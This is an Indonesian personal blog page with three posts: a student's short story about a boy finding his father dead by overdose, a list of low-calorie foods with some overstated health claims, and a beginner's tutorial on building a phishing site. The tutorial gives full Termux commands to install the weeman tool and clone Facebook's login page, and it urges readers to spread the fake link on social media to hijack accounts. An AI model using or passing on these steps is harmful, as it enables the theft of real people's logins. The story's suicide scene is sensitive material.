Sunday, November 24, 2019

Tugas bahasa indonesia membuat cerpen



Nama           : Indana Agustin
Kelas            : XI TKJ 2
Mapel          : Bahasa Indonesia
No. Absen   : 21
Tugas             : Membuat Cerpen




     Hari ini adalah hari yang cerah, bayu bangun puluh enam seperti biasa. Lalu Ia menuju ke kamar mandi. Setelah itu, Ia menuju dapur dan menyiapkan dua butir telur ayam setengah matang untuk ayahnya. Lalu bayu menuju ke arah kulkas untuk mengambil Sereal coklat kesukaanya. Sambil mengikuti irama lagu dari radio miliknya.
   
  Setelah sarapan siap, Bayu menuju kamar ayahnya dan berniat membangunkan untuk sarapan. Seperti pagi pada umumnya, mereka sarapan bersama sambil membicarakan cuaca yang cerah pada hari ini dan duduk diatas sofa sambil menonton acara TV.
  
  “Yah, Bayu sudah siapkan sarapan itu ayah. Apakah ayah sudah bangun?”. Katanya sambil mengetuk pintu kamar Ayah secara perlahan. Setelah lama tidak ada jawaban, lalu Bayu masuk dan melihat ayahnya tertidur pulas. Ia melihat mata ayahnya yang terpejam rapat dan mulutnya sedikit terbuka.
   
   Bayu menuju jendela kamar Ayahnya dan membuka tirai agar cahaya matahari dari luar masuk kedalam. “Ayah sakit?” ucap Bayu sambil menghampiri ayahnya dan menggoyangkan tubuhnya yang terbujur kaku. Ia merasakan kulit ayahnya dingin, dan melihat busa yang keluar dari mulut ayahnya.
  
  Bayu seketika mundur dan merasakan jantungnya seperti berhenti berdetak. Ia melihat botol Pil yang ada disamping tempat tidur ayahnya. Seketika dalam hati Bayu berkata “Ayah bukan sedang  sakit." Saat itu juga Bayu melihat selembar kertas yang didalamnya bertuliskan “Bu, setiap hari Ayah selalu rindu Ibu. Tunggulah Ayah menuju kesana bu.” Setelah membaca surat itu Bayu sangat memahami bahwa tulisan itu adalah tulisan tangan Ayahnya.
   
  Bayu tidak bisa menerima kenyataan itu, seketika itu badan bayu terasa lemas. Dan Ia menangis disamping jenazah ayahnya.


   TAMAT...


Saturday, November 23, 2019

Makanan rendah kalori

8 Makanan Rendah Kalori yang Mempercepat Proses Penurunan Berat Badan


Health information


Apa itu kalori?


  Kalori adalah sumber energi yang dibutuhkan tubuh agar bisa berfungsi dengan baik. Kalori dapat ditemukan di hampir semua jenis makanan dan minuman. Beberapa makanan tertentu punya kalori yang sangat tinggi dan juga rendah.

 Mengonsumsi makanan berkalori tinggi tentunya akan menyebabkan kegemukan bila tak dibarengi dengan olahraga teratur. Perlu dicatat, kebutuhan kalori per hari untuk wanita sekitar 1.800-2.000 kalori sementara pria 2.000-2.500 kalori. Namun tak jarang kita makan terlalu banyak kalori dalam sekali makan. 

Sebagai contoh, meski tak makan nasi tapi banyak jajan ditambah minum kopi kekinian, dalam sehari tubuh bisa mengasup sampai 3.000 kalori. Jadi bagi Anda yang sedang menjalani program diet atau masih ingin makan banyak tapi takut gemuk, berikut pilihan makanan rendah kalori yang bisa Anda pilih. Berikut di antaranya dikutip dari Healthline. 

1. Brokoli

 Brokoli dipercaya sebagai salah satu sayuran yang paling bergizi. Brokoli bahkan dapat membantu melawan sel-sel kanker. Satu cangkir brokoli sekitar 91 gram hanya memiliki 31 kalori dan lebih dari 100 persen jumlah vitamin C yang dibutuhkan setiap orang per hari. 

2. Kuah sup

 Ada banyak jenis kuah sup atau kaldu, termasuk ayam, sapi, dan sayuran. Kuah sup bisa dimakan sendiri atau ditambahkan berbagai macam isian lainnya. Bergantung pada jenis kaldu, satu mangkuk kuah sup atau biasanya sekitar 240 ml, hanya mengandung 7-12 kalori. 

3. Wortel

 Wortel adalah sayuran yang populer. Kebanyakan orang mengatakan penglihatan mereka membaik dengan makan wortel karena kaya akan beta-karoten yang dapat dikonversi menjadi vitamin A. Satu porsi wortel atau sekitar 128 gram, hanya mengandung 53 kalori dan lebih dari 400 persen vitamin A.

 4. Jeruk bali 

Meski asam, masih banyak orang yang suka makan jeruk bali. Buah ini dapat dimakan langsung atau dinikmati bersama yogurt dan salad. Bahkan senyawa dalam jeruk bali dapat menurunkan kadar kolesterol dan meningkatkan metabolisme. Dalam setengah jeruk bali, hanya ada 52 kalori di dalamnya.

 5. Stroberi 

Studi menunjukkan bahwa makan buah stroberi dapat membantu melindungi Anda dari penyakit kronis, seperti kanker dan penyakit jantung. Ada kurang dari 50 kalori dalam satu cangkir stroberi. 

6. Bawang putih

 Bawang putih memiliki aroma dan rasa yang kuat dan digunakan secara luas dalam masakan untuk menambah rasa pada hidangan. Bawang putih telah digunakan selama berabad-abad sebagai obat untuk berbagai penyakit. Penelitian menunjukkan bawang putih dapat menurunkan tekanan darah dan melawan infeksi atau bahkan kanker. Satu siung bawang putih hanya mengandung 5 kalori. 

7. Mentimun 

Mentimun adalah sayuran menyegarkan yang biasa ditemukan dalam salad dan lalapan. Karena sebagian besar mentimun adalah air, mereka sangat rendah kalori. Satu buah mentimun atau sekitar 25 gram hanya memiliki 8 kalori. 

8. Kopi, teh, air putih 

Beberapa minuman sangat rendah kalori, terutama ketika Anda tidak menambahkan apa pun. Air putih mengandung 0 kalori. Sebagian besar teh memiliki kalori sangat sedikit hingga nol sedangkan kopi hitam hanya memiliki 2 kalori per cangkirnya.

 Memilih minuman ini daripada minuman dengan tambahan gula, krim atau jus dapat membantu Anda mengurangi asupan kalori.

Friday, November 22, 2019

cara membuat web phising

Cara membuat web phising

Cara membuat web phising

Sudah tau cara membuat web Phising / (Web Palsu)? Bagaimana sih membuat nya? Gratis engga, Ribet engga, Lama engga?. Baiklah, kali ini saya akan membagikan bagaimana cara membuat web Phising bagi pemula dari 0. Untuk memperjelas saya akan membagi nya menjadi 3 bahasan. Yaitu menggunakan formulir online, cpanel dan termux.


cara membuat web phising

Mungkin ada yang masih bingung tentang  apa itu web phishing?  Web phising adalah web palsu yang digunakan untuk mengambil alih akun orang lain. Ini juga termasuk kedalam metode hack Instagram termudah. Bagi kamu yang masih tertipu oleh web palsu ini, kamu bisa baca cara mengenali web pising. Tapi jika kamu terbiasa membuat nya. Dengan sendirinya kamu akan bisa membedakan mana web yang asli dan palsu.

Ada banyak cara membuat website phising. Diantaranya menggunakan termux atau juga kamu bisa membuat web Phising dan masih banyak lagi.  Belajar dari pengalaman pertama saya membuat web pising ini. Ada banyak kendala seperti cara apa yang digunakan untuk membuat web palsu ini.
Lalu apa saja kegunaan dari web pising tersebut?.  Setelah menyimpulkan sendiri, ada 3 cara mudah dalam membuat web Phising. Yaitu menggunakan formulir online (google form, zoho form), menggunakan cpanel dan menggunakan termux

Cara membuat web Phising menggunakan termux

Termux adalah emulator terminal Android dan aplikasi lingkungan Linux yang bekerja langsung tanpa rooting atau pengaturan yang diperlukan. Sistem basis minimal diinstal secara otomatis – paket tambahan tersedia menggunakan manajer paket APT.
Ada  cara yang bisa digunakan untuk membuat website phising menggunakan termux.
1. Menggunakan script weeman
2. Menggunakan frame Metasploit
Kamu pilih salah satu cara diatas. Atau juga bisa menggunakan keduanya. Oke, langsung saja kita mulai.

1. Membuat web Phising menggunakan weeman

Jika kamu paham menggunakan termux, maka kamu tidak akan kesulitan untuk menginstal dan menjalankan script weeman ini.
Singkatnya, kamu hanya perlu memasukkan perintah di bawah ini.
§  apt update && apt upgrade (enter)
§  pkg install git (enter)
§  pkg install python2 (enter)
§  git clone https://github.com/evait-security/weeman.git (enter)
§  cd weeman (enter)
§  chmod +x weeman.py (enter)
§  python2 weeman.py (enter)
Maka Script weeman akan berjalan, tunggu sampai prosesnya selesai. Setelah selesai maka kamu diminta untuk mensetting web Phising yang akan kamu buat. Untuk melakukan nya. Masukan saja perintah dibawah ini.
§  set url https://facebook.com (enter)
§  set port 8080 (enter)
§  set action_url https://facebook.com (enter)
§  run (enter)
Tunggu sampai proses nya selesai. Setelah selesai maka akan muncul alamat phising yang sudah kalian buat. Alamat ini bentuknya angka. Copas saja setelah kata ” starting weeman vx.x on server http://localhost xxx:xx “. Yang saya kasih tebal itu adalah hasil link phising kamu. Jadi kamu tinggal sebar di media sosial.
Catatan!!
Untuk melihat hasil phising nya kamu harus tetap online di Termux.Terima kasih telah mengunjungi blog saya :)